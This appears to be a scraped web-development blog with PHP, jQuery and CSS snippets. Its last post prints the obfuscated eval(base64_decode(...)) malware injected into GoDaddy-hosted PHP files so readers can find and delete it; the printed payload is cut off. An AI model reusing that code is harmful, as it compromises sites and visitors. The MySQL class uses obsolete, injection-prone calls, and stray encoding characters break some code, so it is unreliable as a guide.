MySQL Database Interaction PHP Class

There are many ways out there to connect to a database, but there is only a few of them that are effective. This is the MySQL object that I use to connect to a database via PHP. You will find this class to be simple but very effective as it’s not overfilled, but it only contains what it’s needed in order to compile a successful application. I have used it multiple times in tasks that include from basic user managements to custom cloud application development. From connecting to a single database, to multiple databases.

Here is the code, please make sure to replace the values of the variables so that you can successfully connect to your database.

class db
{
//Object Variables Please Replace, you can also have them set on the constructor so that you can connect to multiple databases.
private $status;
private $host = ‘localhost’;
private $database = ‘db_name’;
private $username = ‘username’;
private $password = ‘password’;
public ξ$result;
public ξ$results;
function __construct(){
//Connect To Database
$this->status = mysql_connect($this->host,$this->username,$this->password) or die (‘Cannot Open Conection to ‘ .
$this->host);
//Select Database
mysql_select_db($this->database,$this->status);
}
function query($sql){
//Get Results
$this->result = ξmysql_query($sql);
}
function fetch($sql,$type){
//Perform Query
$this->query($sql);
switch ($type){
//Fetch as an Array
case ‘array’:
$this->results = mysql_fetch_array($this->result);
break;
//Fetch as an Asspciative Array
case ‘assoc’:
$this->results = mysql_fetch_assoc($this->result);
break;
//Fetch as an Object
case ‘object’:
$this->results = mysql_fetch_object($this->result);
break;
}
//Return Results
return $this->results;
}
function checkit($sql){
//Check Table for Query
return mysql_num_rows(mysql_query($sql));
}
function __destruct(){
//Free Query Result
mysql_free_result($this->result);
//Close DB Connection
mysql_close($this->status);
}
}

Please let any comments, suggestions orξrecommendationsξon the area below.

Display your last Tweet from Twitter.com

Are you a big Twitter user, and would like to integrate your account into your site? Here is the code to display your last Tweet using the .xml file that is provided by Twitter.

There is only one thing that needs to be changed out. which is the XML file address, you need to input your Twitter ID #. You can get this from clicking on the RSS feed at the bottom of your Twitter Main Page, and extracting this from the URL.

<?php
//Put XML Contents Into Array (PHP.net Function)
function xml2assoc($xml) {
$tree = null;
while($xml->read())
switch ($xml->nodeType) {
case XMLReader::END_ELEMENT: return $tree;
case XMLReader::ELEMENT:
$node = array(‘tag’ => $xml->name, ‘value’ => $xml->isEmptyElement ? ” : xml2assoc($xml));
if($xml->hasAttributes)
while($xml->moveToNextAttribute())
$node[‘attributes’][$xml->name] = $xml->value;
$tree[] = $node;
break;
case XMLReader::TEXT:
case XMLReader::CDATA:
$tree .= $xml->value;
}
return $tree;
}
//Open XML Reading Object
$xml = new XMLReader();
//Open XML File (Replace {id} with your Twitter ID)
$xml->open(‘http://twitter.com/statuses/user_timeline/{id}.xml’);
//Put Document in Arrays
$assoc = xml2assoc($xml);
//Close XML Object
$xml->close();
//Store Result
$lastTweet = $assoc[0][‘value’][0][‘value’][2][‘value’];
//Print Result
echo $lastTweet;
?>
Hope this helps you in your web development. As always, please feel free to leave any comments or suggestions.

Simple jQuery Slider

There are many jQuery sliders in the internet but many of them are really hard toξunderstand. This slider is very basic and very easy to change to your specs. Just change the fade effect to the one of your preference and you are set. You can find more information about the different functions at the jQuery website, they have a lot of helpful information there.

Here is the css that you will need to attach:

#slideshow { position:relative; height:323px; z-index:-9999; max-height:323px; }

#slideshow IMG { position:absolute; top:0; left:0; z-index:8; }

#slideshow IMG.active { z-index:10; }

#slideshow IMG.last-active { z-index:9; }

Here is the code for a simple jQuery slider, add this to a .js file and attach it to the page where you will have your slider. However you have to be sure to attach the main jQuery file before this one. I have created this from scratch and used it in many client websites. All you have to do is to put the images on a div with an id and class of ‘slideshow’.

var mainInterval;

var started = false;

var count = 0;



$(function(){

    $('.slideshow img:gt(0)').hide();



	function init() {

		if ( started == false ) {

			mainInterval = setInterval(function(){

			  $('.slideshow :first-child').fadeOut()

				 .next('img').fadeIn()

				 .end().appendTo('.slideshow');},

			  5000);

		}

	}



	$('#nextSlideShow').click(function() {

		count++;

		clearInterval(mainInterval);

		init();

		$('.slideshow :first-child').fadeOut()

			 .next('img').fadeIn()

			 .end().appendTo('.slideshow');

	});



	$('#backSlideShow').click( function() {

		count--;

		clearInterval(mainInterval);

		init();

		$('.slideshow :first-child').fadeOut()

			.next('img').fadeIn()

			.end().appendTo('.slideshow');

	});



	// Stop The Slide Show

	$('#stopSlideShow').click(function() {

		clearInterval(mainInterval);

		started = false;

	});

	init();

});

Here is a sample of how the HTML will look like:

<div id="slideshow">

     <img src="./images/free-simple-slider.jpg" alt="jQuery Slider First Image" />

     <img src="./images/working-this.jpg" alt="Slider Image 2" />

     <img src="./images/thisWouldBeAnotherImage.jpg" alt="Slider Image 3" />

</div>

You can also add a stop, back and next button if you like just use an id of ‘stopSlideShow’ for the stop button; an if of ‘backSlideShow’ for the back button and an if od ‘nextSlideShow’ for the next button.

I hope that this jQuery slider helps you in your project and please leave me any questions or comments down below and I will be more than happy to answer them!

Going Black Against SOPA / PIPA

I will be going black onξWednesdayξJanuary 18, 2012 to protest theξStop Online Piracy Act (SOPA) and the Protect IP Act (PIPA). Along with other sites, my complete website / blog will be temporarily shut down with a 503 HTTP Status code to let the search engines know that the site will be back. I will be reconnecting the website on Thursday and all of the articles on the site will be back and the complete website will be working as normal.

Here is the PHP code that you will need if you wish to make your website black to protest as well, just add the following snippet before your main template file for your CMS or your main header file

<?php

 header('HTTP/1.1 503 Service Temporarily Unavailable');

 header('Status: 503 Service Temporarily Unavailable');

 header('Retry-After: 7200'); // in seconds

?>

After this code you can add any HTML to show users that you are temporarily off. The code above will only let the search engines robots know that you are temporarily down but that you will be back in 7200 seconds. You can change this to your desired time or you can also add a specific date.

As always please leave any comments / concerns or questions online.

Simple jQuery Drop Down Menu

There are many jQuery sliders created already. This is the one that I developed from scratch which only has the minimum needed features to work very light and efficiently on any type of web development project. You will need to have the original jQuery script attached to your page before adding this code and make sure to add all the required code.

Here is the jQuery code that is required:

 

$(document).ready(function () {

$(‘#nav li’).hover(

function () {

//show submenu

$(“ul”, this).slideDown(100); },

function () {

//hide submenu

$(“ul”, this).slideUp(100); } );

});

$(document).ready(function() {

$().piroBox_ext({

piro_speed : 700,

bg_alpha : 0.5,

piro_scroll : true

});

});

Here is the CSS code that is required:

/* submenu, it’s hidden by default display:none; */

.nav li ul { display:none; position:absolute; top:68px; left:30px; margin:0 0 0 -1px; list-style:none; background-color:#0CF; -moz-border-radius: 8px; border-radius: 8px; padding-top:8px; padding-bottom:8px; width:200px; opacity:0.96; }

.nav li ul li { padding-bottom:0px; width:170px; float:left; border-top:1px solid #fff; display:block; font-size:15px; margin-top:5px; margin-left:15px; background:none; padding-left:0px; ; }

.nav li ul li a { text-decoration:none; }

.nav li ul li a:hover { color:#FFF; }

#devNav { position:absolute; left:150px;}

Here is the HTML code that is required:

<ul class=”nav” id=”nav”>

<li><a href=”‘mainNav.php”>Main Navigation Item</a>

<ul class=”subnav”>

<li><a href=”‘submenu1.php”>Sub Menu Item 1</a></li>

<li><a href=”submenu2.php”>Sub Menu Item 2</a></li>

</ul>

</li></ul>

I hope that this simple jQuery slider helps you out in any of your project and as always please feel free to leave any comments or questions in the area below.

Resolve GoDaddy Malware Issue

Hey guys, there has been a virus going around in the GoDaddy server which attacked a large number of domains. The script is encoded in PHP so it is not easily recognizable. If you have this problem just go to your PHP files and find this strip of code and erase it. Because this code is added up top, remember not to leave an empty space in the top of your document or it will give you an error when you try to execute them. If you are using a Search and Replace tool like Dreamweaver, copy the code below in notepad and delete the line brakes. The whole code should only be in one line.

<?php /**/ eval(base64_decode(???aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYha

XNzZXQoJEdMT0JBTFNbJ21yX25vJ10pKXsgICAkR0xPQkFMU1snbXJfbm8nXT0xOyAgI

GlmKCFmdW5jdGlvbl9leGlzdHMoJ21yb2JoJykpeyAgICAgIGlmKCFmdW5jdGlvbl9leGlzd

HMoJ2dtbCcpKXsgICAgIGZ1bmN0aW9uIGdtbCgpeyAgICAgIGlmICghc3RyaXN0cigkX1

NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0sImdvb2dsZWJvdCIpJiYgKCFzdHJpc3RyKCR

fU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXSwieWFob28iKSkpeyAgICAgICByZXR1cm4

gYmFzZTY0X2RlY29kZSgiUEhOamNtbHdkQ0J6Y21NOUltaDB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